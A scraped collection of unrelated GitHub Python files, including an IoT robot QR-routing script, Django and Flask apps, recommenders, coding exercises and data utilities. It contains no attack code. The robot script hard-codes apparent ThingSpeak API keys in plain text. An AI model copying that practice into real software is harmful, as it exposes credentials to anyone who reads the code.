(\"6\", \"7\", 8),\n#         (\"6\", \"4\", 10),\n#         # (\"F\", \"G\", 11)\n#                         ]\n\n\ndef dijkstra(edges, f, t):\n    g = defaultdict(list)\n    for l,r,c in edges:\n        g[l].append((c,r))\n        g[r].append((c, l))\n\n    q, seen, mins = [(0,f,())], set(), {f: 0}\n    while q:\n        (cost,v1,path) = heappop(q)\n        if v1 not in seen:\n            seen.add(v1)\n            path = (v1, path)\n            if v1 == t: return (cost, path)\n\n            for c, v2 in g.get(v1, ()):\n                if v2 in seen: continue\n                prev = mins.get(v2, None)\n                next = cost + c\n                if prev is None or next < prev:\n                    mins[v2] = next\n                    heappush(q, (next, v2, path))\n\n    return float(\"inf\"), None\n\n\n\n\n# test internet\n\n\n\ndef internet_on():\n   try:\n        response = urllib.request.urlopen('https://www.google.com/', timeout=10)\n        return True\n   except:\n        return False\n\ndef update_qr_database():\n    xls = ExcelFile('pincode.xls')\n    df = xls.parse(xls.sheet_names[0])\n    global dict\n    dict = df.set_index('id')['value'].to_dict()\n    return df\n\ndef search_in_dict(search):\n    global dict\n    if search in list(dict.keys()):\n\n        return True\n    else:\n        return False\n\nclass bot:\n\n\n    def __init__(self,channel,read, write):\n\n        self.channelID=channel\n        self.readapi = read\n        self.writeapi = write\n\n    def read_data(self,):\n        conn = urllib.request.urlopen(\"http://api.thingspeak.com/channels/%s/feeds/last.json?api_key=%s\" % (self.channelID,self.readapi))\n        response = conn.read()\n        data = json.loads(response)\n        conn.close()\n        return data\n\n    def online_status(self, ):\n        data=self.read_data()\n        self.online_status = data['field1'] # field one is reserved for the online status\n        if self.online_status == '1':\n            return True\n        else:\n            return False\n    def working_status(self, ):\n        \"\"\" Returns true when bot is ready to take work if not return false \"\"\"\n        data=self.read_data()\n        self.working_status = data['field2']  # field one is reserved for the working  status\n        if self.working_status == '1':\n            return True\n        else:\n            return False\n\n    def send_data(self,field_no,data):\n        URL=f\"https://api.thingspeak.com/update?api_key={self.writeapi}&field{field_no}={data}\"\n        i=0\n        while i<5: # try 5 times to upload data and try to confirm it\n            i=i+1\n            print(\"inloop\")\n            conn = urllib.request.urlopen(URL)\n            rdata = self.read_data()\n            field_check = f\"field{field_no}\"\n            rdata = rdata[field_check]\n            print(rdata)\n            if data==rdata:\n                break\n            conn.close()\n\n\n\n\nif __name__ == '__main__':\n\n    # --------------VARIABLES----------------------\n    edges = [\n        (\"A\", \"B\", 5),\n        (\"A\", \"H\", 10),\n        (\"B\", \"C\", 5),\n        (\"B\", \"E\", 5),\n        (\"C\", \"D\", 5),\n        (\"D\", \"E\", 5),\n        (\"D\", \"F\", 5),\n        (\"E\", \"G\", 5),\n        (\"F\", \"G\", 5),\n        (\"G\", \"H\", 5),\n        # (\"\", \"G\", 11)\n    ]\n    dict = {}\n    #-----------------------------------------------\n    print(\"--------------------------------------\")\n    print(\"--------------------------------------\")\n    print(\"Testing internet connection.....\")\n    if internet_on() is True:\n        print( \"Internet Status : CONNECTED\")\n    else:\n        print( \"Internet Status : Timeout Error....\")\n        exit()\n    # initialising robots objects\n    robot1 = bot(992542,\"6H04VKZX0H5UPLMI\",\"8KTZAG0KKO18M9IV\")\n    robot2 = bot(1420145, \"42N515LBCG37FJNQ\",\"S2DNEV8HEBHFE3XV\")\n    # importing data from excel sheet make  dictonary\n    print(update_qr_database())\n\n    # initilizing loop of work\n    cap = cv2.VideoCapture(0) # open camera\n    while True:\n        success, img= cap.read()\n        for barcode in decode(img):\n            Data_in_qr = barcode.data.decode('utf-8')\n            myColor = (0, 0, 255)\n            pts = np.array([barcode.polygon], np.int32)\n            pts = pts.reshape((-1, 1, 2))\n            cv2.polylines(img, [pts], True, myColor, 2)\n            pts2 = barcode.rect\n            cv2.putText(img, Data_in_qr, (pts2[0], pts2[1]), cv2.FONT_HERSHEY_SIMPLEX,0.9, myColor, 2)\n            y = 65\n            x = 0\n            h = 350\n            w = 1100\n            img = img[y:y + h, x:x + w]\n            winname=\"Recagnised Qr \"\n            cv2.namedWindow(winname)  # Create a named window\n            cv2.moveWindow(winname, 0,380)  # Move it to (40,30)\n            cv2.imshow(winname, img)\n            cv2.waitKey(1000)\n            cv2.destroyAllWindows()\n\n#           Matching data with Our data base\n            Data_in_qr=int(Data_in_qr) # typecasting\n\n            if search_in_dict(Data_in_qr) is True:\n                target_node=dict[Data_in_qr]\n\n            else:\n                print(\"Not Found in Our Database \")\n                print(\"Enter Manually Valid Targetd Node of For exit for next Enter ' e '\")\n                target_node=input()\n                if target_node == 'e':\n                    continue\n\n#           Applying shortest path Algorithm\n            start_node=\"A\"\n            targeted_node =target_node\n            # print(start_node,target_node)\n            # print(type(start_node), type(target_node))\n\n            go_shortest_path =dijkstra(edges,start_node,targeted_node)\n            make_path = lambda tup: (*make_path(tup[1]), tup[0]) if tup else ()\n            go_shortest_path=make_path(go_shortest_path[1])\n            go_shortest_path=listToString(go_shortest_path)\n            print(f\"Going shortest path : {go_shortest_path}\")\n\n\n            return_shortest_path=dijkstra(edges,targeted_node,\"H\")\n            make_path2 = lambda tup: (*make_path(tup[1]), tup[0]) if tup else ()\n            return_shortest_path=make_path2(return_shortest_path[1])\n            return_shortest_path=listToString(return_shortest_path)\n            print(f\"Return Shortest path : {return_shortest_path}\")\n\n        # checking for available bot to do this work\n        #\n        #     if robot1.online_status() is True:\n        #         if robot1.working_status() is True:\n        #             robot1.send_data(3,go_shortest_path)\n        #             sleep(2)\n        #             robot1.send_data(4,return_shortest_path)\n        #\n        #             print(\"Work assigned to Robot 1\")\n        #\n        #     elif robot2.online_status() is True:\n        #         if robot2.working_status() is True:\n        #             robot2.send_data(3,go_shortest_path)\n        #             sleep(2)\n        #             robot2.send_data(4,return_shortest_path)\n        #\n        #             print(\"Work assigned to Robot 2\")\n        #     else:\n        #         print(\"Opps No one available try again\")\n\n            update_qr_database()\n\n","repo_name":"himanshuRaj-IN/IOT-Based-shortening-Robots","sub_path":"Version_1.0.py","file_name":"Version_1.0.py","file_ext":"py","file_size_in_byte":8069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"41116413679","text":"\"\"\"archive_maker URL Configuration\r\n\r\nThe `urlpatterns` list routes URLs to views. For more information please see:\r\n    https://docs.djangoproject.com/en/1.11/topics/http/urls/\r\nExamples:\r\nFunction views\r\n    1. Add an import:  from my_app import views\r\n    2. Add a URL to urlpatterns:  url(r'^$', views.home, name='home')\r\nClass-based views\r\n    1. Add an import:  from other_app.views import Home\r\n    2. Add a URL to urlpatterns:  url(r'^$', Home.as_view(), name='home')\r\nIncluding another URLconf\r\n    1. Import the include() function: from django.conf.urls import url, include\r\n    2. Add a URL to urlpatterns:  url(r'^blog/', include('blog.urls'))\r\n\"\"\"\r\nfrom django.conf.urls import url\r\nfrom django.http import HttpResponseRedirect\r\nfrom . import views\r\n\r\nurlpatterns = [\r\n    url(r'^createtable/$', views.TableCreateView.as_view(), name = 'create-table'),\r\n    url(r'^mytables/$', views.TableListView.as_view(), name = 'list-table'), #immediately after login\r\n    url(r'^mytables/(?P<table_no>[0-9]+)/$', views.TableDetailView.as_view(), name = 'detail-table'),\r\n    url(r'^mytables/?P<table_no>[0-9]+/delete/$', views.TableDeleteView.as_view(), name = 'delete-table'), # unseen from the user\r\n    url(r'^updatetable/?P<table_no>[0-9]+/$', views.TableUpdateView.as_view(), name = 'update-table')\r\n  #  url(r'^mytables/?P<table_no>[0-9]+/item/?P<item_no>[0-9]+/$', views.ItemDetailView.as_view(), name = 'detail-item'), # from detail view of the table\r\n  #  url(r'^updatetalbe/?P<table_no>[0-9]+/createitem/$', views.ItemCreateView.as_view(), name = 'create-item'),\r\n  #  url(r'^updatetable/?P<table_no>[0-9]+/deleteitem/?P<item_no>[0-9]+/$', views.ItemDeleteView.as_view(), name = 'delete-item'), # unseen from the user\r\n  #  url(r'^updatetable/?P<table_no>[0-9]+/updateitem/?P<item_no>[0-9]+/$', views.ItemUpdateView.as_view(), name = 'update-item'), # from update view of the table\r\n]\r\n","repo_name":"allnameswhy/freshmen_prj","sub_path":"apps/archive/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"16767644657","text":"#!/usr/bin/env python3.8\nR,C=map(int, input().split())\nB = []\nfor i in range(R):\n  A = list(input())\n  B.append(A)\n\nfor i in range(R):\n  for j in range(C):\n    if B[i][j] != '.' and B[i][j] != '#':\n      cnt = int(B[i][j])\n      for l in range(-cnt, cnt + 1):\n        for r in range(-cnt, cnt + 1):\n          if abs(l) + abs(r) > cnt:\n            continue\n          if i + l < 0 or i + l > R - 1:\n            continue\n          if j + r < 0 or j + r > C - 1:\n            continue\n\n          if B[i + l][j + r] == '#':\n            B[i + l][j + r] = '.'\n      B[i][j] = '.'\n    \n\nfor b in B:\n  print(''.join(b))\n\n","repo_name":"harukaeru/CompetitiveProgramming","sub_path":"abc295/B/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"3227516290","text":"import caffe\nimport numpy as np\nimport C3DImageNetInputLMDBLayer\nimport C3DImageNetInputLayer\nimport surgery\n\n# not used\ndef weightedloss(net, wlayer, border):\n    m,k,f,h,w = net.blobs[wlayer].data.shape\n\n    for n in range(k):\n        for i in range(h):\n            for j in range(w):\n                if i - border < 0 or i + border >= h or j - border < 0 or j + border >= w:\n                    net.blobs[wlayer].data[0,n,0, i, j] = 0.1\n                else:\n                    net.blobs[wlayer].data[0,n,0, i, j] = 1\n\n\n\ncaffe.set_mode_gpu()\ncaffe.set_device(0)\n\nweights = './c3d_ucf101_fcn.caffemodel'\nsolver = caffe.SGDSolver('solver.prototxt')\nsolver.net.copy_from(weights)\n\ninterp_layers = [k for k in solver.net.params.keys() if 'up' in k]\nsurgery.interp(solver.net, interp_layers)\n\n\nfor _ in range(10):\n    solver.step(37500)\n\n\n","repo_name":"holyseven/gvfin","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"3076389226","text":"# movie\n#   this is the main engine / starting point\nfrom movie_lib import *\n\n######  get user a good suggestion  ######\n\nall_suggestions = []\nentry = input(\"\\n\\nWhich user do you want to see their unwatched movies? \")\numu = get_unrated_movies_for_user(entry)\nentry = input(\"How many minimum reviews? ( to be included in search)  \")\nmwr = movies_to_search_filter(int(entry))\ncombined = set(umu) & set(mwr)\nfor each in combined:\n    all_suggestions.append(each)\n\ntop_suggestions = top_ten_movies(10, all_suggestions)\nprint(\"\\nYou should watch these movies:\\n\")\nx = 0\nwhile x < len(top_suggestions):\n    print(find_movie_by_ID(top_suggestions[x]),\" has an average rating of:\\t{:0.2f}\".format(top_suggestions[x+1]))\n    x += 2\n#print(all_rating_for_a_user('111'))\n#print(all_rating_for_a_user('32'))\ninput(\"\\n PRESS ENTER TO CONTINUE\\n\\n\")\n#========================   STEP 5   ============================\nprint(\"-- COMPARE USERS FOR SIMILARITY --\")\nu1 = input(\"user 1 :\")\nu1lorm = get_all_users_ratings_and_movies(u1)\n\nu2 = input(\"user 2 :\")\nu2lorm = get_all_users_ratings_and_movies(u2)\n\nu1_dict = make_udict(u1lorm)\nu2_dict = make_udict(u2lorm)\n\nedist = match_users_by_movies_rated(u1_dict, u2_dict)\n\ninput(\"\\n PRESS ENTER TO CONTINUE\\n\\n\")\nprint(u1_dict)\n\ninput(\"\\n PRESS ENTER TO CONTINUE\\n\\n\")\nprint(u2_dict)\n\n# ===============================================================\n#       Compare all users to this one:\nu1 = input(\"Give me a user to find their best matches: \")\nu1lorm = get_all_users_ratings_and_movies(u1)\nu1_dict = make_udict(u1lorm)\n\nx = 943\neucl_scores_list = []\neucl_scores_dict = {}\nextra_copy_eucl_scores_dict = {}\n\nfor i in range(x):\n    if (i+1) != int(u1):\n        u2lorm = get_all_users_ratings_and_movies(str(i+1))\n        u2_dict = make_udict(u2lorm)\n        eucl_score = match_users_by_movies_rated(u1_dict, u2_dict)\n        eucl_scores_dict[(i+1)] = eucl_score\n\nprint(eucl_scores_dict,\"\\neuclidean scores\\n\")\n\n#============ DEEP SHALLOW COPY PROBLEM ===============\nfor i in range(x):\n    if (i+1) != int(u1):\n        u2lorm = get_all_users_ratings_and_movies(str(i+1))\n        u2_dict = make_udict(u2lorm)\n        eucl_score = match_users_by_movies_rated(u1_dict, u2_dict)\n        extra_copy_eucl_scores_dict[(i+1)] = eucl_score\n\n# for each in eucl_scores_list:\n\nbest_fit = get_max_euclidean_scores(eucl_scores_dict)\n# best_fit = {}\n# i = 0\n# while i < 10:\n#     v=list(eucl_scores_dict.values())\n#     k=list(eucl_scores_dict.keys())\n#     key = k[v.index(max(v))]\n#     print(k[v.index(max(v))])\n#     best_fit[i] = k[v.index(max(v))]    #should use a list instead\n#     del eucl_scores_dict[key]\n#     i += 1\n#\nprint(best_fit,\"\\nBEST FITS\\n\\n\")\n\ndef loop_thru(uX, uU_list, uM_list, uR_list, each, umu1):\n    z = 0\n    for every in uX:\n        if every[0] not in umu1:\n            every.remove\n        else:\n            z += 1\n            if z > 10:\n                for i in range(10):\n                    uU_list.append(each) #,uX[i]  #list[640, [1,4]]\n                    uM_list.append(uX[i][0])\n                    uR_list.append(uX[i][1])\n                break\n    return uU_list, uM_list, uR_list\n\n\numu1 = get_unrated_movies_for_user(u1) #[1][2][6][9]\nuX_list = []\nuU_list = []\nuM_list = []\nuR_list = []\n#get top ten movies each similar user rated top ten\nfor each in best_fit:\n    uX = get_all_users_ratings_and_movies(each) #[1,4][122,5]\n    uX.sort(key=lambda x: x[1])\n    uX.reverse()\n    uU_list, uM_list, uR_list = (loop_thru(uX, uU_list, uM_list, uR_list, each, umu1))\n\nprint(uU_list, uM_list, uR_list)\ninput(\"\\n PRESS ENTER TO CONTINUE\\n\\n\")\n\nprint(uX_list)\nprint(extra_copy_eucl_scores_dict)\n\nsimilar_list = []\ncount = 1\nfor each in best_fit:\n    similar_list.append(extra_copy_eucl_scores_dict[int(each)])\nprint(similar_list)\n\nfor i in range(10):\n    for j in range(10):\n        sim = similar_list[i] * int(uR_list[(i*10)+j])\n        print(\"movie: {}  with user: {} scores a: {}\".format(uM_list[(i*10)+j],uU_list[(i*10)+j], sim))\n\n\n    #mts = movies_to_search_filter(9)\n    #top_ten_movies(10, mts)\n","repo_name":"TRIYGH/what-to-watch","sub_path":"movie_main.py","file_name":"movie_main.py","file_ext":"py","file_size_in_byte":4048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"30117996290","text":"# 7.7 Полиморфизм\n\n\n# Классы USADate и ItalianDate\n\n# from datetime import date\n#\n# class USADate:\n#     def __init__(self, year, month, day):\n#         self.date = date(year=year, month=month, day=day)\n#\n#     def format(self):\n#         return self.date.strftime(\"%m-%d-%Y\")\n#\n#     def iso_format(self):\n#         return self.date.isoformat()\n#\n#\n# class ItalianDate:\n#     def __init__(self, year, month, day):\n#         self.date = date(year=year, month=month, day=day)\n#\n#     def format(self):\n#         return self.date.strftime(\"%d/%m/%Y\")\n#\n#     def iso_format(self):\n#         return self.date.isoformat()\n#\n#\n# italiandate = ItalianDate(2023, 4, 6)\n#\n# print(italiandate.format())\n# print(italiandate.iso_format())\n\n\n# Классы MinStat, MaxStat и AverageStat\n\n# from abc import ABC, abstractmethod\n#\n#\n# class Root(ABC):\n#     def __init__(self, iterable=()):\n#         self._data = list(iterable)\n#\n#     def add(self, num):\n#         self._data.append(num)\n#\n#     @abstractmethod\n#     def result(self):\n#         pass\n#\n#     def clear(self):\n#         self._data.clear()\n#\n#\n# class MinStat(Root):\n#     def result(self):\n#         return min(self._data) if self._data else None\n#\n#\n# class MaxStat(Root):\n#     def result(self):\n#         return max(self._data) if self._data else None\n#\n#\n# class AverageStat(Root):\n#     def result(self):\n#         return sum(self._data) / len(self._data) if self._data else None\n#\n#\n# minstat = MinStat()\n# maxstat = MaxStat()\n# averagestat = AverageStat()\n#\n# print(minstat.result())\n# print(maxstat.result())\n# print(averagestat.result())\n\n\n# Классы LeftParagraph и RightParagraph\n\nfrom abc import ABC, abstractmethod\n\n\nclass Paragraph(ABC):\n    def __init__(self, length=0):\n        self._length = length\n        self._paragraph = ''\n\n    def add(self, words: str):\n        words = ' '.join(words.split())\n        #print(words)\n        if self._paragraph:\n            self._paragraph = self._paragraph + ' ' + words\n        else:\n            self._paragraph = self._paragraph + words\n\n    @abstractmethod\n    def end(self):\n        pass\n\n\nclass LeftParagraph(Paragraph):\n    def end(self):\n        total = 0\n        print(self._paragraph.split())\n        tmp = []\n        for word in self._paragraph.split():\n            if len(' '.join(tmp)) < self._length:\n                tmp.append(word)\n            else:\n                print(' '.join(tmp))\n                tmp.clear()\n\n\nleftparagraph = LeftParagraph(10)\n\nleftparagraph.add('death')\nleftparagraph.add('can have me')\nleftparagraph.add('when it earns me')\nleftparagraph.end()","repo_name":"Dvorfin/stepik_pokolenie_oop","sub_path":"module 7.7.py","file_name":"module 7.7.py","file_ext":"py","file_size_in_byte":2618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"970364109","text":"from logs import logDecorator as lD\nimport jsonref\nimport numpy as np\n\nconfig   = jsonref.load(open('../config/config.json'))\nlogBase  = config['logging']['logBase'] + '.lib.density.utils.divergences'\n\n@lD.log( logBase + '.D_KL' )\ndef D_KL(logger, p, q, epsilon=1e-50, returnVals=False):\n    '''the KL divergence of ``p`` and ``q``\n\n    This function returns the KL divergence given by \n\n    .. math:: D_{KL}(p||q) = - \\sum_{x \\in \\chi} p(x) \\log \\\\frac {q(x)} {p(x)}\n    \n    Parameters\n    ----------\n    logger : logging.logger instance\n        Logging instance that is used for the logging errors in case there are any.\n    p : nd-array\n        Values of the probabbility density ``p`` evaluated at different instances of \n        ``x``. Note that for calculating the KL divergence, the actual values of\n        ``x`` are not needed. Only the densities at ``x``. Ideally, this needs to\n        sum to zero, since this is a probability density. However, no check is \n        performed to make sure that this is true.\n    q : nd-array (the same shape as p)\n        Values of the probabbility density ``q`` evaluated at different instances of \n        ``x``. Note that for calculating the KL divergence, the actual values of\n        ``x`` are not needed. Only the densities at ``x``. There should be a one-\n        to-one correspondence between the points of ``x`` between ``p`` and ``q``.\n    epsilon : float, optional\n        A small number that will disallow the probability to reduce to zero, by default 1e-50\n    returnVals : bool, optional\n        Optionally also return the KL divergence values at each position of the array, which\n        can sometimes be useful for plotting or error correction, by default False\n    \n    Returns\n    -------\n    float\n        The KL divergence. In case an error occurs, ``None`` is returned, and the error logged.\n    '''\n\n    try:\n        p_1 = np.clip(p, epsilon, None)\n        q_1 = np.clip(q, epsilon, None)\n        \n        divergence = p_1 * ( np.log(p_1) - np.log(q_1) )\n        \n        if returnVals:\n            return np.sum(divergence), divergence\n        \n        return np.sum(divergence)\n    except Exception as e:\n        logger.error(f'Unable to generate the KL divergence: {e}')\n\n\n    return None","repo_name":"sankhaMukherjee/densityNN","sub_path":"src/lib/density/utils/divergences.py","file_name":"divergences.py","file_ext":"py","file_size_in_byte":2258,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"41888970841","text":"from rest_framework import generics, viewsets, permissions\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom django.db.models import Avg, Q\n\nfrom .serializers import (\n    ReviewSerializer,\n    ServiceSerializer,\n    ServiceAllSerializer,\n    ServiceForSearchSerializer\n)\nfrom .models import Service, Review\nfrom ..services import MixedPermission, IsAuthor\n\n\nclass ServiceView(generics.RetrieveAPIView):\n    \"\"\"Вывод одной услуги со средним рейтингом и отзывов к ним\"\"\"\n\n    serializer_class = ServiceSerializer\n\n    def get_queryset(self):\n        services = Service.objects.annotate(\n            middle_rating=Avg('reviews__rating')\n        )\n        return services\n\n\nclass ServiceAllView(generics.ListAPIView):\n    \"\"\"Вывод списка услуг со средним рейтингом и отзывов к ним\"\"\"\n\n    serializer_class = ServiceAllSerializer\n\n    def get_queryset(self):\n        services = Service.objects.annotate(\n            middle_rating=Avg('reviews__rating')\n        )\n        return services\n\n\nclass ReviewViewset(MixedPermission, viewsets.ModelViewSet):\n    \"\"\" CRUD отзывов\"\"\"\n\n    serializer_class = ReviewSerializer\n    permission_classes_by_action = {\n        'create': [permissions.IsAuthenticated],\n        'update': [IsAuthor],\n        'destroy': [IsAuthor]\n    }\n\n    def get_queryset(self):\n        return Review.objects.filter(is_active=True)\n\n    def perform_create(self, serializer):\n        serializer.save(user=self.request.user)\n\n\nclass SearchView(APIView):\n    \"\"\"Поиск среди услуг\"\"\"\n    def post(self, request):\n        query = request.data.get('query', '')\n        if query:\n            services = Service.objects.filter(Q(title__icontains=query) | Q(description__icontains=query))\n            serializer = ServiceForSearchSerializer(services, many=True)\n            return Response(serializer.data)\n        else:\n            return Response({'services': []})\n","repo_name":"KaCCuTePuT/barom_project","sub_path":"src/reviews/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"16325319796","text":"import sys\nimport os\nfrom time import sleep\n\n\nversion = os.environ['GITHUB_REF'].split('/')[-1]\nprint(f'version: {version}')\n\n_, token = sys.argv\n\ncwd = os.path.realpath('.')\n\n# Login to GH\nwith open('token.txt', 'w') as tok:\n    tok.write(token)\n    print('Finished writing token file')\n\ncmd = 'gh auth login --with-token < token.txt'\nos.system(cmd)\nprint('Authenticated')\n\n\ndef main():\n    BRANCHES = ('build-darwin', 'build-linux', 'build-windows')\n\n    for branch in BRANCHES:\n        tag = version + branch.replace('build', '')\n        cmd1 = f'gh release create {tag} --target {branch} -p'\n        os.system(cmd1)\n\n    print('sleeping for a minute')\n    sleep(60)\n    print('Should delete tags')\n    for branch in BRANCHES:\n        tag = version + branch.replace('build', '')\n        cmd1 = f'gh release delete {tag} --yes'\n        os.system(cmd1)\n    print('done deleting tags')\n\n\nmain()\n\nprint('All Done')\n","repo_name":"deuteronomy-works/pyffmpeg","sub_path":"make_releases.py","file_name":"make_releases.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"22"}
+{"seq_id":"72113496056","text":"import dill as pickle\nfrom flask import Flask, json, request, app, jsonify, url_for, render_template\n\n# import re\n\nimport numpy as np\nimport pandas as pd\n\nfrom sklearn.metrics.pairwise import cosine_similarity\n\n# the starting point from where the app will run\napp=Flask(__name__, template_folder='pages')\n\n# Load the data set\nbooks_data = pickle.load(open('pickles/books_data.pkl', 'rb'))\nimages_data = pickle.load(open('pickles/images_data.pkl', 'rb'))\n\n# Load the search algorithm\nsearch_define = pickle.load(open('pickles/search_define.pkl', 'rb'))\nsearch_fit_transform = pickle.load(open('pickles/search_fit_transform.pkl', 'rb'))\nsearch_result = pickle.load(open('pickles/search_result.pkl', 'rb'))\n\n# Load the collaborative algorithm\nsimilarity_scores = pickle.load(open('pickles/similarity_scores.pkl', 'rb'))\nsparse_to_df_map = pickle.load(open('pickles/sparse_to_df_map.pkl', 'rb'))\nrecommender = pickle.load(open('pickles/recommender.pkl', 'rb'))\n\n\n# Define the url address. '/' indicates homepage\n# Landing page\n@app.route('/')\ndef home():\n    return render_template('home.html')\n\n# For postman API\n# @app.route('/search_api', methods=['POST'])\n# def search_api():\n#     data=request.json[\"data\"]\n#     print(data)\n\n#     book_rec = search_result(data,search_define)\n#     print(book_rec)\n\n#     return book_rec\n\n# For web app search\n@app.route('/search', methods=['POST'])\ndef search():\n    user_input = [str(i) for i in request.form.values()]\n    \n    # manual search\n    # book_search = books_data[books_data['mod_title'].str.contains(user_input[0].lower())]\n    # book_search = book_search.merge(images_data,how = 'left', on = \"isbn\")[[\"isbn_index\",\"isbn\",\"book_title\",\"book_author\",\"year_of_publication\",\"image_url_s\"]].drop_duplicates().head(5)\n    # book_search = book_search.set_index(\"isbn\").T.to_dict()\n    \n    # search using tdifvectorizer\n    book_search = search_result(user_input[0],search_define)\n    return render_template('home.html', book_search = book_search)\n\n# For web app recommendation\n@app.route('/rec', methods=['POST'])\ndef rec():\n    sim_input = [str(i) for i in request.form.values()]\n\n    book_rec = books_data[books_data['isbn_index'].isin(recommender(int(sim_input[0])))]\n    book_rec = book_rec.merge(images_data[[\"isbn\",\"image_url_m\"]], how = \"left\", on = \"isbn\").head(6)\n    book_rec = book_rec[book_rec['isbn_index']!=int(sim_input[0])]\n    book_rec = book_rec.set_index(\"isbn\").T.to_dict()\n    \n    return render_template('rec.html', book_rec = book_rec)\n\nif __name__ == '__main__':\n    app.run(debug = True)","repo_name":"amrirasyidi/book_recommendation","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"7361314613","text":"import sys\nsys.stdin=open(\"input2.txt\", \"r\") #5분\nimport numpy as np\n\nnum1 = int(input())\nnum_list1 = list(map(int,input().split()))\nnum2 = int(input())\nnum_list2 = list(map(int,input().split()))\n\n# 방법1 : extend() 이용하면 간단.\nnum_list1.extend(num_list2)\nnum_list1.sort()\nfor i in num_list1:\n    print(i, end=' ')\n\n# 방법2 : concatenate() 이용하면 간단.\n# num_list3 = np.concatenate(num_list1, num_list2)\n# # num_list3.sort()\n# print(num_list3)\n\n\n# 방법3\nnum_list3 = []\nfor i in num_list1:\n    num_list3.append(i)\n\nfor i in num_list2:\n    num_list3.append(i)\n\nnum_list3.sort()\nfor i in num_list3:\n    print(i, end=' ')\n\n\n","repo_name":"crystal993/Algorithm","sub_path":"inflearn/section3/0908/두 리스트 합치기.py","file_name":"두 리스트 합치기.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"44746124829","text":"import pycipher\r\n\r\ncipher = input(\"Cipher:\\n\")\r\nmaxperiod = int(input(\"\\nWhat period would you like to test up to?\\n--> \"))\r\nbigrams = []\r\nvariances = []\r\nprint(\"\\nPeriod  Variance\")\r\n\r\n# loop for each possible period up to and including the entered limit\r\nfor i in range(maxperiod+1):\r\n    bigrams.append({})\r\n    totalbigrams = 0\r\n    bigramavg = 0.0\r\n    bigramvar = 0.0\r\n    \r\n    # loop through the cipher and count the occurrence of each bigram\r\n    for j in range(len(cipher)-(i+1)):\r\n        currentbig = cipher[j] + cipher[j+i+1]\r\n        if currentbig in bigrams[i]:\r\n            bigrams[i][currentbig] += 1\r\n        else:\r\n            bigrams[i][currentbig] = 1\r\n\r\n    # get the average bigram occurrence\r\n    for j in bigrams[i].keys():\r\n        totalbigrams += bigrams[i][j]\r\n    bigramavg = totalbigrams / len(bigrams[i])\r\n\r\n    # find the variance of the bigram occurrences\r\n    for j in bigrams[i].keys():\r\n        totalbigrams += (bigrams[i][j] - bigramavg)**2\r\n    bigramvar = totalbigrams / len(bigrams[i])\r\n\r\n    # print a graph showing the variances of each period\r\n    print(str(i+1) + \": \" + \" \" * (6 - len(str(i+1))) + \"#\" * int(round(4*bigramvar, 0)))\r\n    variances.append(round(bigramvar, 5))\r\n\r\nprint(\"Each # signifies 0.25\\n\\nRaw values:\\n\" + str(variances))\r\n","repo_name":"barnabycollins/cipher","sub_path":"bifidvariance.py","file_name":"bifidvariance.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"32844784645","text":"\"\"\" Wilderness layer operations. \"\"\"\r\n\r\nimport json\r\nimport math\r\nimport os\r\nfrom datetime import datetime\r\n\r\nfrom matplotlib import pyplot, colors\r\nimport geopandas\r\nimport pandas\r\nimport topojson\r\nfrom pytopojson import topology\r\nfrom django.utils.text import slugify\r\nfrom shapely.validation import make_valid\r\n\r\nimport web\r\nfrom settings import *\r\nfrom settings_lists import *\r\nfrom utils import log, try_add_basemap\r\n\r\nfrom utils import *\r\n\r\n# deprec wilderness_gdb = data_dir + '2021-04-15\\\\' + 'S_USA.Wilderness.gdb.zip'\r\nnwps_wilderness_xls = \"_wilderness\" + slash + \"NWPS.xls\"  # designation years\r\nwikipedia_wilderness_tsv = (\r\n    \"_wilderness\" + slash + \"wilderness_designated.tsv\"\r\n)  # designation dates\r\nwilderness_shp = cache_dir + \"wilderness.shp\"  # TODO: gdb write errors\r\nwilderness_csv = cache_dir + \"wilderness.csv\"\r\nwilderness_fixture = cache_dir + \"wilderness.json\"\r\nwilderness_geojson = cache_dir + \"data.json\"\r\n\r\n\r\ndef wilderness_year_designated_nwps():\r\n    \"\"\" wilderness_gdb to wilderness_shp \"\"\"\r\n    rev_date = str(datetime.now().strftime(\"%Y-%m-%d\"))\r\n    inr = geopandas.read_file(web.get_gdb_rev(\"S_USA.Wilderness.gdb.zip\", rev_date))\r\n\r\n    cw = [\r\n        \"WILDERNESSID\",\r\n        \"WILDERNESSNAME\",\r\n        \"AREAID\",\r\n        \"BOUNDARYSTATUS\",\r\n        \"GIS_ACRES\",\r\n        \"WID\",\r\n        \"SHAPE_Length\",\r\n        \"SHAPE_Area\",\r\n        \"geometry\",\r\n    ]\r\n    inr = inr.drop(columns=[\"SHAPE_Length\", \"SHAPE_Area\"])\r\n    inr[\"name\"] = inr[\"WILDERNESSNAME\"].str.replace(\" Wilderness\", \"\")\r\n    inr[\"name\"] = inr[\"name\"].str.replace(\"Granite Mountain (AZ)\", \"Granite Mountain\")\r\n    